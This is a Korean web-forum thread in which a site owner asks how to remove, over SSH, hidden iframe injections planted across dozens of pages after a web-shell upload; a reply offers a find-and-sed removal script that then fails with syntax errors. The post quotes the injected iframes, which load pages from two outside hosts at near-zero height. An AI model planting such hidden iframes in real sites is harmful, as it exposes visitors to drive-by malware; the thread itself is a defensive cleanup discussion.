ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 927 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다. 로그인

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 1,664
14년 전 조회 1,053
14년 전 조회 1,343
14년 전 조회 858
14년 전 조회 990
14년 전 조회 785
14년 전 조회 1,110
14년 전 조회 1,011
14년 전 조회 429
14년 전 조회 566
14년 전 조회 645
14년 전 조회 951
14년 전 조회 775
14년 전 조회 773
14년 전 조회 756
14년 전 조회 1,165
14년 전 조회 863
14년 전 조회 871
14년 전 조회 885
14년 전 조회 689
14년 전 조회 1,749
14년 전 조회 1,520
14년 전 조회 948
14년 전 조회 775
14년 전 조회 1,845
14년 전 조회 1,208
14년 전 조회 1,044
14년 전 조회 814
14년 전 조회 1,515
14년 전 조회 3,776
14년 전 조회 2,432
14년 전 조회 1,125
14년 전 조회 742
14년 전 조회 797
14년 전 조회 1,321
14년 전 조회 986
14년 전 조회 1,361
14년 전 조회 1,406
14년 전 조회 1,426
14년 전 조회 629
14년 전 조회 870
14년 전 조회 2,748
14년 전 조회 770
14년 전 조회 1,237
14년 전 조회 814
14년 전 조회 694
14년 전 조회 1,232
14년 전 조회 660
14년 전 조회 1,342
14년 전 조회 928
14년 전 조회 1,587
14년 전 조회 1,512
14년 전 조회 1,028
14년 전 조회 1,260
14년 전 조회 946
14년 전 조회 1,651
14년 전 조회 1,233
14년 전 조회 1,226
14년 전 조회 1,507
14년 전 조회 1,406
14년 전 조회 832
14년 전 조회 902
14년 전 조회 673
14년 전 조회 846
14년 전 조회 1,597
14년 전 조회 2,350
14년 전 조회 2,246
14년 전 조회 1,883
14년 전 조회 1,424
14년 전 조회 1,504
14년 전 조회 1,282
14년 전 조회 1,539
14년 전 조회 649
14년 전 조회 1,276
14년 전 조회 641
14년 전 조회 1,091
14년 전 조회 862
14년 전 조회 1,972
14년 전 조회 748
14년 전 조회 2,567
14년 전 조회 983
14년 전 조회 820
14년 전 조회 2,924
14년 전 조회 692
14년 전 조회 964
14년 전 조회 503
14년 전 조회 825
14년 전 조회 607
14년 전 조회 1,301
14년 전 조회 731
14년 전 조회 1,102
14년 전 조회 726
14년 전 조회 657
14년 전 조회 635
14년 전 조회 1,340
14년 전 조회 808
14년 전 조회 692
14년 전 조회 715
14년 전 조회 1,381
14년 전 조회 1,393
🐛 버그신고